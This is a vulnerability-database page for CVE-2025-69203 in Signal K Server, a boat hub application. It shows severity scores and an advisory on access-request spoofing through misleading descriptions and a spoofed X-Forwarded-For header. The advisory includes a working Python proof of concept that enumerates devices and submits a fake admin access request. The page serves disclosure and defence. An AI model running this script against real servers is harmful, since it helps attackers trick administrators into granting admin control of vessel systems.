CVE-2025-69203

highpriority · track · 35EPSS 0.003 · 23 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.30% (23rd) EPSS
CVSS 8.8 · high
Is it mine?
4 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · nvd · osv

EPSS · scored 2026-10-27

Signal K Server is a server application that runs on a central hub in a boat. Versions prior to 2.19.0 of the access request system have two related features that when combined by themselves and with an information disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access. The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. Users should upgrade to version 2.19.0 to fix this issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.8
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.3–8.8

v3.18.8highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 2.8 · impact 5.9
v3.16.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:Lsecondary · ENISA EU
v3.16.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:Lsecondary · security-advisories@github.comexploitability 2.8 · impact 3.4
v3.16.3mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:Lsecondary · OSV
v3.18.1highCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-vfrf-vcj7-wvr8Signal K Server Vulnerable to Access Request Spoofing2026-01-02ghsa · osvUS

    The SignalK access request system has two related features that when combined by themselves and with the infromation disclosure vulnerability enable convincing social engineering attacks against administrators. When a device creates an access request, it specifies three fields: `clientId`, `description`, and `permissions`. The SignalK admin UI displays the `description` field prominently to the administrator when showing pending requests, but the actual `permissions` field (which determines the access level granted) is less visible or displayed separately. This allows an attacker to request `admin` permissions while providing a description that suggests readonly access. The access request handler trusts the `X-Forwarded-For` HTTP header without validation to determine the client's IP address. This header is intended to preserve the original client IP when requests pass through reverse proxies, but when trusted unconditionally, it allows attackers to spoof their IP address. The spoofed IP is displayed to administrators in the access request approval interface, potentially making malicious requests appear to originate from trusted internal network addresses. Since device/source names can be enumerated via the information disclosure vulnerability, an attacker can impersonate a legitimate device or source, craft a convincing description, spoof a trusted internal IP address, and request elevated permissions, creating a highly convincing social engineering scenario that increases the likelihood of administrator approval. ### Affected Code **File**: `packages/server-admin-ui/src/views/security/AccessRequests.js` The admin UI renders access requests showing the description field prominently. The permissions field is displayed but may not be as visually prominent, leading administrators to approve based on the description text. **File**: `src/tokensecurity.js` (access request creation and IP extraction) ```javascript // Access request accepts any permissions value from the client const permissions = req.body.permissions // No validation against description // IP address extraction trusts X-Forwarded-For without validation const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress ``` The code prioritizes the `X-Forwarded-For` header over the actual connection IP, allowing client-controlled spoofing. ### Impact An administrator who trusts device descriptions and IP addresses may inadvertently grant admin privileges to an attacker. The combination of spoofed device name, misleading description, and trusted internal IP address creates a highly convincing social engineering attack. Combined with the token theft vulnerability, this provides a complete authentication bypass requiring only one click from the admin. ### PoC ```python import requests TARGET = "http://localhost:3000" SPOOFED_IP = "192.168.1.100" def create_spoofed_request(device_name): payload = { "clientId": device_name, "description": f"{device_name} - Read Only", # Misleading "permissions": "admin" # Actually requesting admin! } headers = { "Content-Type": "application/json", "X-Forwarded-For": SPOOFED_IP # Spoof internal IP } r = requests.post( f"{TARGET}/signalk/v1/access/requests", json=payload, headers=headers ) if r.status_code == 202: data = r.json() href = data.get("href") request_id = href.split("/")[-1] if href else None print(f"[+] Access request created!") print(f"[+] Request ID: {request_id}") print(f"[+] Admin sees: '{payload['description']}'") print(f"[+] Actual permissions: {payload['permissions']}") print(f"[+] Spoofed IP: {SPOOFED_IP}") return request_id else: print(f"[-] Failed: {r.status_code} - {r.text}") return None if __name__ == "__main__": # First enumerate devices/sources using info disclosure vulnerability sources = requests.get(f"{TARGET}/signalk/v1/api/sources").json() devices = [d for d in sources.keys() if d != "defaults"] if devices: print(f"[+] Found devices: {devices}") create_spoofed_request(devices[0]) else: create_spoofed_request("sensor-01") ``` ### Recommendation 1. Display permissions prominently. The admin UI should prominently display the requested permission level with visual warnings for elevated permissions (readwrite, admin). Consider requiring administrators to explicitly select the permission level during approval rather than accepting the requested value. 2. Validate X-Forwarded-For headers. Only trust `X-Forwarded-For` headers from configured trusted proxy IP addresses. Implement Express.js trust proxy settings or equivalent. Log both the forwarded IP and the actual connection IP for audit purposes. 3. Whitelist device IP addresses. Implement an IP whitelist for access requests, allowing only known device IP addresses to create requests. This prevents external attackers from creating spoofed requests.

06

also known as (3)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-01-01modified 2026-06-17
08

references (7)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan